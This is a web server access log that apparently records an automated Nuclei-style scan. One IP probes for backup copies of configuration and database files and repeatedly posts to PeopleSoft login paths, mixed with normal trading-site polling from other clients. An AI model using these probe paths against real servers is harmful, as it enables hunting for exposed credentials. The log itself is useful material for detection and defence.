[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.zip HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.z HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.Z HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.tgz HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.db HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.jar HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927435639 HTTP/1.1" -
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.bak HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.bak HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927448431 HTTP/1.1" -
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927434739 HTTP/1.1" -
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927440705 HTTP/1.1" -
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927453463 HTTP/1.1" -
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927439788 HTTP/1.1" -
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
